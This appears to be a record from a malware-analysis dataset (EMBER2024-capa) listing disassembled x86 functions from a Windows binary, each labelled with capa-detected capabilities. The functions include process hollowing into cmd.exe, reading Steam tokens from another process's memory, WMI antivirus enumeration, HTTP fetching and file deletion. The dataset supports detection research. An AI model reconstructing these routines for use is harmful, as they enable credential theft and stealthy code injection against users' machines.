joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401134
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x628
push ebx
push esi
push edi
lea eax, [ebp - 0x218]
push eax
xor edi, edi
push 0x104
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x40129c
push str.delays.tmp
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x628]
push 0x41e230
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 8], edi
cmp dword [ebp + 8], edi
jbe 0x401294
mov esi, 0xfffff
push edi
push 0x100
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40129c
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
mov ebx, eax
call sub.msvcrt.dll__time64
push eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
cdq
mov ecx, 0xff
idiv ecx
push esi
push edx
push ebx
call sub.msvcrt.dll_memset
add esp, 0x14
push edi
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40129c
cmp dword [ebp - 0x10], esi
jne 0x40129c
push esi
push edi
push ebx
call sub.msvcrt.dll_memset
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x4000100
push 3
push edi
push edi
push SysReAllocString
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40129c
push edi
lea ecx, [ebp - 0xc]
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40129c
cmp dword [ebp - 0xc], esi
jne 0x40129c
push esi
push edi
push ebx
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 8]
jb 0x401194
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x401297
Function at 0x4044ed
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x598
push ebx
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0040e5b4
lea eax, [ebp - 0x98]
push eax
call fcn.00403ef3
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x5c]
rep movsd dword es:[edi], dword [esi]
push 0x5f5e0ff
xor esi, esi
push esi
call dword [0xb37bd0]
push eax
call dword [0xb37b60]
push esi
push esi
xor ebx, ebx
push esi
inc ebx
push esi
lea ecx, [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
call fcn.0040e766
push eax
call dword [0xb37ac4]
push dword [0xb26d74]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x58]
xor edi, edi
call dword [0xb37ba0]
test eax, eax
jne 0x40456e
mov edi, ebx
cmp dword [ebp - 0xc], esi
je 0x404699
push esi
push esi
push 3
push esi
push esi
push dword [ebp - 0x44]
push dword [ebp - 0x4c]
push dword [ebp - 0xc]
call dword [0xb37bc4]
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x404690
mov eax, edi
neg eax
push esi
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push esi
push esi
push dword [0xb26bc0]
push dword [ebp - 0x30]
push 0x42134c
push dword [ebp - 0x18]
call dword [0xb37c04]
mov ebx, eax
cmp ebx, esi
je 0x404689
cmp edi, esi
je 0x4045e6
or dword [ebp - 0x14], 0x10300
push 4
lea eax, [ebp - 0x14]
push eax
push 0x1f
push ebx
call dword [0xb379bc]
push esi
push esi
push esi
push esi
push ebx
call dword [0xb37b8c]
push esi
mov edi, eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x198]
push eax
push 0x13
push ebx
mov dword [ebp - 0x1c], 0x100
call dword [0xb37c1c]
test eax, eax
jne 0x40462d
lea ecx, [ebp + 8]
call fcn.0040e5e8
lea ecx, [ebp + 0x14]
call fcn.0040e5e8
mov eax, dword [ebp - 0x20]
mov edx, esi
jmp 0x4046b8
lea eax, [ebp - 0x198]
push eax
call fcn.0040f5cc
pop ecx
cmp eax, 0xc8
jne 0x404613
cmp edi, esi
je 0x404689
jmp 0x404684
lea eax, [ebp - 4]
push eax
push 0x400
lea eax, [ebp - 0x598]
push eax
push ebx
call dword [0xb37aec]
xor edi, edi
cmp dword [ebp - 4], esi
jbe 0x404689
push 1
lea eax, [ebp + edi - 0x598]
push eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
push eax
call fcn.0040f61d
inc dword [ebp - 8]
inc edi
cmp edi, dword [ebp - 4]
jb 0x404665
cmp dword [ebp - 4], esi
ja 0x404647
push ebx
call dword [0xb37ac0]
push dword [ebp - 0x18]
call dword [0xb37ac0]
push dword [ebp - 0xc]
call dword [0xb37ac0]
lea ecx, [ebp + 8]
call fcn.0040e5e8
lea ecx, [ebp + 0x14]
call fcn.0040e5e8
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40502a
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x974
push ebx
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 0xc]
mov ecx, esp
push eax
call fcn.0040e5b4
lea eax, [ebp - 0xa4]
push eax
call fcn.00403ef3
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
push 0x41e266
lea ecx, [ebp - 0x1c]
call fcn.0040e57d
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp + 0x18]
call fcn.0040e766
push eax
call dword [0xb37ac4]
push dword [0xb26d74]
mov dword [ebp - 4], eax
push dword [ebp - 0x64]
xor esi, esi
call dword [0xb37ba0]
test eax, eax
jne 0x405099
inc esi
cmp dword [ebp - 4], ebx
je 0x4051d1
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x50]
push dword [ebp - 0x58]
push dword [ebp - 4]
call dword [0xb37bc4]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x4051c8
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0xb26bc0]
push dword [ebp - 0x3c]
push 0x42134c
push dword [ebp - 0x10]
call dword [0xb37c04]
mov edi, eax
cmp edi, ebx
je 0x4051bf
cmp esi, ebx
je 0x405111
or dword [ebp - 8], 0x10300
push 4
lea eax, [ebp - 8]
push eax
push 0x1f
push edi
call dword [0xb379bc]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0xb37b8c]
push ebx
mov esi, eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1a4]
push eax
push 0x13
push edi
mov dword [ebp - 0x20], 0x100
call dword [0xb37c1c]
test eax, eax
jne 0x405150
mov ecx, dword [ebp + 8]
push str.ERROR
call fcn.0040e57d
jmp 0x4051dd
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040f5cc
pop ecx
cmp eax, 0xc8
jne 0x40513e
cmp esi, ebx
je 0x4051b8
mov esi, 0x7cf
jmp 0x4051a1
mov eax, dword [ebp - 0xc]
cmp eax, ebx
je 0x4051b8
mov byte [ebp + eax - 0x974], bl
lea eax, [ebp - 0x974]
push eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e63b
lea ecx, [ebp - 0x2c]
call fcn.0040e5e8
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x974]
push eax
push edi
call dword [0xb37aec]
test eax, eax
jne 0x40516f
push edi
call dword [0xb37ac0]
push dword [ebp - 0x10]
call dword [0xb37ac0]
push dword [ebp - 4]
call dword [0xb37ac0]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e5b4
lea ecx, [ebp - 0x1c]
call fcn.0040e5e8
lea ecx, [ebp + 0xc]
call fcn.0040e5e8
lea ecx, [ebp + 0x18]
call fcn.0040e5e8
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4061b7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
push 0x40
push 0
push esi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
jne 0x4061d5
xor eax, eax
inc eax
jmp 0x406267
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x406264
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x406264
push dword [ebp + 0xc]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
je 0x4061cd
cmp dword [edi], 0x4550
jne 0x406264
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x406264
movzx eax, word [esi + 0x46]
test ax, ax
je 0x406264
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.0040f650
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x40623b
push 3
jmp 0x406266
push dword [ebp + 0xc]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call dword [ebp + 8]
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x406267
push 2
pop eax
pop edi
pop ebp
ret

Function at 0x40684d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x406887
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x406887
mov edx, 0x10b
cmp word [eax + ecx + 0x18], dx
jne 0x406887
push dword [ebp + 0xc]
push ecx
push dword [eax + ecx + 0x78]
call fcn.004067b1
add esp, 0xc
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40dd03
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [eax + 0x3c]
push edi
xor edi, edi
add esi, eax
mov dword [ebp - 0x10], edi
cmp dword [esi], 0x4550
jne 0x40ddc6
push 0x10
lea eax, [ebp - 0x20]
push edi
push eax
call sub.msvcrt.dll_memset
push 0x44
lea eax, [ebp - 0x64]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push edi
push edi
push 4
push 1
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [0xb37a70]
test eax, eax
je 0x40ddc6
push 4
push 0x1000
push 4
push edi
call dword [0xb37b2c]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40ddc6
push edi
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp eax, edi
jne 0x40ddcd
push dword [ebp - 0x1c]
call dword [0xb37be0]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
jbe 0x40ddc6
push edi
push dword [esi + 0x54]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [ebp + 0xc]
push eax
push dword [ebp - 0x20]
call edi
and dword [ebp - 8], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40de28
and dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 4]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0xc]
add edx, ecx
push edx
push eax
push dword [ebp - 0x20]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 8]
add dword [ebp - 4], 0x28
cmp dword [ebp - 8], eax
jl 0x40ddf1
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x20]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0xc]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [0xb37be0]
mov eax, dword [ebp - 0x18]
jmp 0x40ddc8
Function at 0x40e301
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push ebx
push 0x64000
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
push dword [ebp + 0xc]
xor ebx, ebx
push ebx
push 0x1fffff
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x40e35e
mov ecx, dword [ebp + 8]
push 0x41e266
call fcn.0040ceae
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040ca67
mov eax, dword [ebp + 8]
jmp 0x40e4fd
push esi
push edi
push 0x207
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 4]
push 0xfff
push 0xffffffffffffffff
push ebx
push ebx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 8]
call fcn.0040e018
add esp, 0x2c
mov edi, eax
mov esi, 0x208
add edi, esi
mov ecx, edx
adc ecx, ebx
mov dword [ebp - 0x2c], ecx
cmp edx, ebx
ja 0x40e3bf
jmp 0x40e49a
cmp edx, ebx
ja 0x40e3bf
cmp eax, 0xffff
jbe 0x40e3d2
push ebx
push esi
lea ecx, [ebp - 0x254]
push ecx
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x254]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040ce39
cmp dword [ebp - 0x18], 0x12c
jbe 0x40e440
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.0040e284
pop ecx
pop ecx
cmp dword [ebp - 0x3c], ebx
je 0x40e435
cmp dword [ebp - 0x3c], 0xa
jbe 0x40e435
push str.N0ZWFt
call sub.msvcrt.dll_strlen
pop ecx
push eax
push ebx
push str.N0ZWFt
lea ecx, [ebp - 0x28]
call fcn.0040e16c
cmp eax, 0xffffffff
jne 0x40e4c9
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.0040ca67
push 0x207
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 4]
push 0xfff
push 0xffffffffffffffff
push dword [ebp - 0x2c]
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 8]
call fcn.0040e018
add esp, 0x2c
mov ecx, eax
add ecx, esi
mov edi, edx
adc edi, ebx
mov dword [ebp - 0xc], edi
mov edi, ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x2c], ecx
cmp edx, ebx
ja 0x40e3bf
jb 0x40e4a2
cmp eax, ebx
ja 0x40e3b4
push dword [ebp - 4]
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov ecx, dword [ebp + 8]
mov dword [esp], 0x41e266
call fcn.0040ceae
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040ca67
mov eax, dword [ebp + 8]
jmp 0x40e4fb
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x28]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push eax
mov ecx, esi
mov byte [esi], bl
call fcn.0040cf07
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.0040ca67
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040ca67
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f2ff
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41d138
call sub.msvcrt.dll__EH_prolog
sub esp, 0x40
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 4], esi
push esi
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x18]
push eax
push 0x422910
push 1
push esi
push 0x4229e0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f46a
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x14]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x4218fc
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f46a
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x40f466
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0x24]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x20], esi
je 0x40f466
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x4c]
push edx
push esi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push 1
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x44]
call fcn.0040f237
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0xb37bd0]
push eax
call dword [0xb37b60]
mov esi, eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x32]
push eax
movzx eax, word [ebp - 0x34]
push eax
movzx eax, word [ebp - 0x3c]
push eax
movzx eax, word [ebp - 0x3a]
push eax
movzx eax, word [ebp - 0x36]
push eax
push 0x4218d0
push esi
call dword [0xb379e0]
add esp, 0x20
push esi
mov ecx, dword [ebp + 8]
call fcn.0040e57d
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f477
or dword [ebp - 4], 0xffffffff
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e57d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f493
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41d142
call sub.msvcrt.dll__EH_prolog
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 4], esi
push esi
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x18]
push eax
push 0x422910
push 1
push esi
push 0x4229e0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f59a
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x14]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push esi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x4218fc
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f59a
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x40f596
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0x24]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x20], esi
je 0x40f596
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x34]
push edx
push esi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x2c]
call fcn.0040f7bb
pop ecx
push eax
mov ecx, dword [ebp + 8]
call fcn.0040e57d
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f5a7
or dword [ebp - 4], 0xffffffff
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e57d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40fdb5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, 0x41e266
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 6], eax
lea eax, [ebp - 0x20]
mov edx, 0x414
push eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 3
mov word [ebp - 0x10], dx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x4100b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
push esi
push edi
sub esp, 0xc
mov ecx, esp
mov esi, 0x41e266
push esi
call fcn.0040e57d
sub esp, 0xc
lea eax, [ebp + 0x70]
mov ecx, esp
push eax
call fcn.0040e5b4
call fcn.004044ed
xor edi, edi
add esp, 0x18
mov ebx, eax
mov dword [ebp - 4], edx
cmp dword [ebp + 0x7c], edi
je 0x410231
push esi
lea ecx, [ebp - 0xc]
call fcn.0040e57d
push str..exe
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x18]
push 6
push eax
call fcn.0040f6b1
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x48]
push eax
push 0x41e264
lea eax, [ebp - 0x30]
push eax
push dword [0xb26d98]
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e6d4
mov ecx, eax
call fcn.0040e6d4
mov ecx, eax
call fcn.0040e682
mov ecx, eax
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e63b
lea ecx, [ebp - 0x3c]
call fcn.0040e5e8
lea ecx, [ebp - 0x48]
call fcn.0040e5e8
lea ecx, [ebp - 0x30]
call fcn.0040e5e8
lea ecx, [ebp - 0x24]
call fcn.0040e5e8
lea ecx, [ebp - 0x18]
call fcn.0040e5e8
push dword [0x9243a4]
lea eax, [ebp - 0xc]
push 0x9243a8
sub esp, 0xc
mov ecx, esp
push eax
call fcn.0040e5b4
call fcn.0040fcb0
push 0x10
lea eax, [ebp - 0x58]
push edi
push eax
call sub.msvcrt.dll_memset
push 0x44
lea eax, [ebp - 0x9c]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0x2c
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x42140c
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e6d4
mov ecx, eax
call fcn.0040e682
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e63b
lea ecx, [ebp - 0x18]
call fcn.0040e5e8
lea ecx, [ebp - 0x24]
call fcn.0040e5e8
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x9c]
push eax
push edi
push edi
push 0x20
push 1
push edi
push edi
lea ecx, [ebp - 0xc]
call fcn.0040e766
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [ebp - 0xc]
call fcn.0040e5e8
xor edi, edi
inc edi
lea ecx, [ebp + 8]
call fcn.00401301
lea ecx, [ebp + 0x70]
call fcn.0040e5e8
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
mov dword [ebp + 0x7c], edi
push esi
push ebx
push str.C:WindowsSystem32cmd.exe
call fcn.0040dd03
add esp, 0xc
cmp eax, edi
ja 0x410217
inc dword [ebp + 0x7c]
cmp dword [ebp + 0x7c], 0x64
jl 0x410234
jmp 0x41021a
Function at 0x4126f8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea ecx, [ebp - 0x44]
call fcn.00411775
test byte [0xb3797c], 1
mov eax, dword [ebp + 0x30]
je 0x412715
mov eax, dword [ebp + 0x34]
push ebx
push esi
mov dword [ebp - 0x44], eax
push edi
lea eax, [ebp + 0x74]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e63b
mov eax, dword [ebp + 0x84]
mov ebx, dword [ebp + 0x80]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x38]
xor esi, esi
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.0040e63b
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040e63b
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040e63b
mov edi, 0x3e8
jmp 0x412773
push edi
call dword [0xb379f8]
cmp dword [0xb3797c], 2
jae 0x41276c
inc dword [0xb3797c]
cmp dword [0xb37978], esi
je 0x4127a8
push dword [ebp + 0x84]
lea ecx, [ebp + 0x74]
push ebx
call fcn.0040e766
push eax
push dword [0xb37980]
call fcn.0041a093
add esp, 0x10
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push 0x41165f
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 8]
push 0x41e266
call fcn.0040e57d
lea ecx, [ebp - 0x44]
call fcn.0041179c
lea ecx, [ebp + 0xc]
call fcn.00401301
lea ecx, [ebp + 0x74]
call fcn.0040e5e8
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret